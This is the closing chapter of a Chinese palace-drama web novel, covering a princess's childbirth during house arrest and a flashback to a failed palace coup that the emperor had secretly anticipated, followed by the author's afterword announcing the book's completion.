山照立刻反应过来,连忙也补充道:“对,府内的东西还够吃够用吗?有没有说能不能出去采买?” 便是只有十个人,每日的吃食也是需要不少的,又不是所有的东西都能经得住存放,能不能采买非常重要。 掌管库房的宜夏开口:“炭火和米面是够的,原本府内就存了至少一个月的吃穿嚼用,如今人少了这许多,米面吃上一年也够。只是……新鲜的菜和肉却必须得从外采买。” 宜春:“殿下没有回来时,兵士们是不搭理奴婢们的问话的,因而也不知道许不许采买。” “医师还在吗?”孟浴恩开口。 众婢女摇头,眼中都浮现出担忧。病中无医,是她们最害怕的事情。 孟浴恩沉思片刻,而后对山照开口:“臣去交涉。不过如今就这么一点人,我便只能跟殿下同吃同住了,还望殿下安排一下将臣的物品搬来。” 山照眨巴了下眼,不太情愿,但想着这会要跟他同舟共济了,倒也是没办法的事情。 “好。宜春你们也将东西搬到隔壁的小房间去。若真的要关到我生产之后,那我们得现在就开始打算。” 孟浴恩迈步往外走,还能听见山照在里面安排婢女们清点仓库、搬弄物品这些,倒是比往日里都更有活力一些。 扯唇笑笑,这事是危机也是机会,既然父亲出手都只能让他们回到府中圈禁,那么就是有不得不圈禁的理由,而山照的身份倒更清晰了些。 没有价值的棋子也不拥有保护的必要,那队兵士可以说是看守,但又怎么不算保护呢? ** 十月怀胎,一朝分娩。 虽已经到了秋季,但夏季的余热还未彻底散去,山照还未正式发动,便已经有了满头大汗。 但她这会用不得冰、吹不得风,宜春几个也是急得团团转。 稳婆在一旁摸着胎位,又叫婢女们准备好吃食:“贵人这是头胎,许是要折腾久些,不拘什么粥啊面的,只要是好入口、好消化的便温在一旁备用。” 宜春应下,又给宜秋使了个眼色,两人出去准备,正巧碰头撞上了驸马。 “殿下情况如何?” “一切都好,稳婆说胎位也对。只是说头胎生产时间长,叫奴婢们准备些好入口的吃食。” 孟浴恩点点头,便三步做两步进了产房。 稳婆一见,先是愣神,实在没有见过这样俊美的男子。后慌了神:“产房污-秽,男子不能进啊!” 却没料只得了个冷脸和一句警告:“你只管做好自己的事就好,旁的不须管。” 山照正在阵痛,好一会坏一会的,这会正是还好的时候,才有精力问驸马:“你来做什么?” 他抽了把绣凳就坐在山照一旁,他虽然清瘦但身量高,坐那小小绣凳感觉有些滑稽。 山照笑了。 孟浴恩侧头看她,神色很是温柔:“我陪着你不好吗?” 山照确实心里有些害怕,闻言倒不反驳。 她这些日子对驸马的改观很多,虽然还是不认同他许多的言论,但驸马着实是个能解决事情的人。不论大事小情,只要他说来办,总能办的妥帖,这在不确定的环境中给了她很多安全感。 “好。”她不自觉开始依赖他。 “别担心,外面有御医候着,什么事儿也不会发生。” “御医,你是怎么请来的?” “等你平安生产,我便慢慢跟你说,现在,你不要想太多,只需要知道有御医保障你的安全就行。别害怕。” 山照还想再说两句,但腹中又是一阵疼痛,她便没有精神问这件事情了。 等到开始生产,更是痛到大脑一片空白,只能隐约记住稳婆在说什么‘用力’‘缓缓’‘呼吸’‘憋气’,最终的最终一声啼哭在黎明前响彻,山照瞬间没了力气昏睡了过去。 婢女们瞬间忙成一团,宜春百忙之中注意到驸马袖口有血,然后看到了他小臂上被山照疼痛时指甲抠破的痕迹,迟疑道:“驸马爷,要不让医师包扎下?” 孟浴恩摇头,他并不把这点伤放进心里,只是有些感叹:“世人都说娇娇女子,但又有几个男子能承受这女子受到的苦楚呢。” 说罢,他转头:“你好好照顾殿下,宫里快来人了,我去看看……” “那小殿下……” “你们先照顾着……我稍后再看他。”明明是他心心念念想要的孩子,但他这会心情颇为有些复杂,很难说是欣喜多一点还是心疼多一些。 生产之时的场面着实是有些血腥,他不怕血,但从未在山照身上看到过那么真切的痛苦,而这种痛苦他无力承担,甚至很大程度上她是因他而痛苦的。 这让他很难为孩子的诞生,单纯的喜悦…… ** 时间倒回七个月前。 昭明帝时不时的罢朝已经让朝中猜测颇多,更令人担忧的是,太子之位依旧迟迟未曾有定论。 如今宫中只有贤妃所出的二皇子、宁修仪的七皇子,二皇子不过十三岁、七皇子还是稚龄,若是陛下身体真差到如此地步,那么这两位肯定是没有能力立刻承担重任的。 但比起刚开蒙的七皇子,二皇子自然是更被众人期望的那一个。因此请立储君的折子像雪花似的飞到了昭明帝的案桌上。 但通通石沉大海,没有音讯。 哪怕是等到了上朝的时候,群臣质问,昭明帝只会暴怒着将臣子通通拉下去打板子。 这样荒诞而暴躁的行为,让一些本来中立的臣子也不得不选边站。 一切的暗中谋划、鬼祟动作都在中秋大宴上一举爆发,皇后伙同贵妃一同朝着昭明帝发难。 皇后起头:“陛下龙体欠安在前,北狄威胁在后,社稷飘摇、民生动荡,请陛下以天下为重,确立太子!” 昭明帝捂着嘴轻咳了几声,看向皇后:“那依照皇后看,立谁好呢?” “二皇子是诸子之长,又性与忠敬,是最合适的人选。” 昭明帝转头,看向贵妃:“贵妃怎么看呢?” 贵妃是二皇子的生母,自然不可能说不好,只是故作谦虚说了一番套词。 昭明帝看向台下诸妃妾:“你们也都这么认为吗?” 起初是零星的应和,在皇后和贵妃的注目下,这种应和渐渐变得齐整,便是不想掺和进这种事情的小妃嫔也不得不从众。 皇后的心情是多年未曾有的畅快,贵妃有子又如何,只要事成还不是只得尊她为太后。她还是能做全天下最尊贵的女人! 她拱手一礼,随即跪下,宫妃们跟着跪了乌泱泱的一片。 “请陛下立二皇子为太子,以安诸臣之心!” 昭明帝抚掌大笑,仿佛是很高兴似的。 皇后见状脸上的笑意更深了,她想:陛下没有不应允的理由,左选右选也并没有更合适的对象了。 “朕不愿意!” 皇后的笑僵在脸上。 “陛下为何?” 昭明帝眯着眼一个个从她们脸上看下去,并不直接应答皇后的问题:“你们,都是这么想的吗?” 最先低头的是只有女儿和最末尾妃嫔。而后是居中犹犹豫豫的。 再之后的,便是昭明帝再看,也不躲闪。 “因为我有权力不立。” 许久,昭明帝才回神回了皇后一句,显然是不把她放在眼中。 皇后心里压着的怒火险些炸开,她平复着情绪最后问了一句:“陛下,真就不愿意吗?” “皇后,你失礼了。” 昭明帝语气淡淡,站起身,准备离席。 但御前侍卫忽然亮了兵器,明晃晃的刀刃比月色还显眼。 昭明帝眼中露出震惊之色,而后看向皇后:“你们?” 皇后止不住的笑,笑得肩膀抖动、脸颊发紧:“陛下啊陛下,还以为这天下真就是皇帝说了算吗?” 事情已经到了最坏的这一步,皇后也不再演戏。 “不过是丢了一个女儿,你怨我这么久,还连累着总是挑剔熙阳。但是从今以后,熙阳会成为最尊贵的长公主,再也不稀罕父皇的宠爱了。” “皇后,你们怎么买通的御前侍卫?他们可都是官宦子弟,怎会谋朝弑君?” 昭明帝被阻拦后复又坐回了龙椅上,只是比起之前的闲适姿态,此刻绷紧了许多。 贵妃忍不住插嘴:“陛下要知道这些,妾等可以慢慢说。只是那诏书,还请陛下快快写来!” 昭明帝‘哦’了一声:“还有贵妃的事儿呢?你们联合在一起了?还有哪些人的娘家,说来让我听听?” 皇后被贵妃一打岔瞬间也清醒了,她们这会最重要的事情是让昭明帝下诏书,没有诏书今天的逼宫就算是失败的。 “陛下,请下诏书。” “若我不下呢?你们打算怎么办?” 皇后冷哼,脸上是掩盖不住的讥诮之色:“陛下,此刻是妾等在劝您,一炷香后哥哥们来了,可没这么客气。” “实话跟您说吧,上京已经在我们的掌握之中。今天这诏书,您非签不可!” 昭明帝眯着眼笑了,他这副模样,让皇后觉得熟悉又陌生。哦对了,这样子不正是像承恩公吗? 她心里更是恼怒,皇帝不亲近她的母家,而是跟先皇后的弟弟交情颇深,现在连神态表情都有些相似了。 “陛下现在还有心情笑得出来呢,哼,您要耗时间,臣妾便陪着您等这最后一段时间。” 昭明帝还是笑:“太蠢了,你们都太蠢了。” 这话让皇后觉得不对,但周围的侍卫分明还是看着她,听命于她的。她如此安慰自己,但昭明帝过往给她的感觉,又让她不自觉地退后了一步。 似乎是欣赏够了她们的丑态,昭明帝有些无趣般说道:“蠢人总是做蠢事,我还没登基之前,你们就数次想要让我低头依附江家,都没成功。怎么会觉得,作为皇帝的我,比做将军的时候更弱呢?” “可……可……” “可城防军是你们的人,宫内侍卫也是你们的人,你们觉得我双拳难敌四手,孤立无援是吗?” 皇后微张着唇,不敢相信皇帝将她要说出口的话抢了过去。 “江氏,你知道为什么,我从依附江家的一个赘婿能到现在吗,我是怎么从号令一个几百人的小队到后面的十万大军呢?” 江皇后不懂这个问题跟现在有什么关联。 “陛下,妾承认您天资出众,能做常人不能做之事,可现在这种情况,您已经插翅难飞了!” 昭明帝看着她的眼神像看不懂事的孩子了:“我为什么要飞呢?” 他拍拍手,从树荫深处,蓦然走出了如同鬼魅一般的卫队。 “你有人,我也有人。你的人未必全是你的人,可我的人,却一定是我的人。” 昭明帝笃定又自信,在宫内一片厮杀声中,独饮着一壶酒。能在生命的结点之前,扫除掉一个大大的毒瘤,他怎么不畅快呢? 而外城的江家周家宁家等联合军,也遭到了根本不认识的陌生军队打击,本该抢占城门,封-锁皇宫的他们,反而是一触即溃,主要人员通通被活捉拿下。 皇后、贵妃、多位妃嫔娘家意图谋反一事简直震惊群臣,而更他们胆寒的是,昭明帝其实压根没病,北狄也压根没有入侵……这一切都在陛下的掌握之中。 朝堂一番清洗动荡之后,陷入了诡异的平静当中。 当然,‘真假公主’一事,也有人觉得蹊跷的,两个公主都不声不响,不见走动。可是,这个节骨眼上谁又敢妄加猜测呢? ** 赵仪劝山照说的那些话,是已经知道内情的情况下,害怕波及到她希望她安静呆在公主府故意哄她的。 他没有预料到山照怀孕的事情,现在想来,一切都是最好的安排。 朝堂稳固,边境平稳,而王朝的继承者,刚刚诞生了。 是的,昭明帝亲自前往泰和公主府,看望了刚生产完的山照,见了刚出生的小孩子,并且给他上了皇家玉蝶——用‘李’姓。 李铭玉,刚出生不到一天的小婴儿,闭着眼,接受了这个名字。 而山照知道全部的事情,已经是她生完的第三天。 她躺在床上,额头上包着头巾,感觉整个人都在发臭。 听了这些她根本一点迹象都没感觉出的事情,像在听什么话本子,她不知道该用什么态度来面对这些事情。 “所以,我的儿子,要当太孙了?” 山照不明白:“但外孙可以继承吗?这不对吧……” 宜春小声提醒:“这是有先例的,被赐姓就意味着拥有了和皇子皇孙们一样的继承权,而现在陛下所有的皇子都被贬为庶人,又无其他皇孙,小殿下……是独一份的。” “但是……” 山照不愿意她的儿子做皇帝。完全不愿意。 “那我岂不是还是要回皇宫?” “殿下,小殿下既然是太孙,自然会在宫中哺育。但陛下并未要求您要常住宫中。” 山照看着自己身旁,一无所知还在睡觉的小宝宝,他生的很像山照,但皮肤一模一样像驸马,真真是个玉雪可爱的小宝贝。 默默翻个白眼:“我是他的娘,他在哪我在哪,还需要他要求吗?” 而后忽然想起什么,立刻吩咐宜春:“叫驸马过来!” “这个黑心鬼,一定早就猜到什么了。我说呢,被圈在府里九个月,他每天就知道笑笑笑笑笑。明明府里到处都被他透成筛子了也不说走!” 宜春也忍不住笑了,连声应下。 殿下跟驸马,初见时觉得并不匹配,但其实真是天造地设的好一对冤家—— 作者有话说:第二本书完结!撒花!番外就等节后写啦,作者要玩几天嘿嘿。下一本写《谓我心悠》,吸取这本书的教训,下本全文存稿后再开文,喜欢的请点点收藏! 下本的主角心悠,有开明的父母(毕竟是能私奔的两位)、足够天赋、良好教育,当然她还有展示自我的‘野心’,这就让她的目标感非常强烈。我非常非常期待写这一本,希望下一本继续看见熟悉的大家!《 》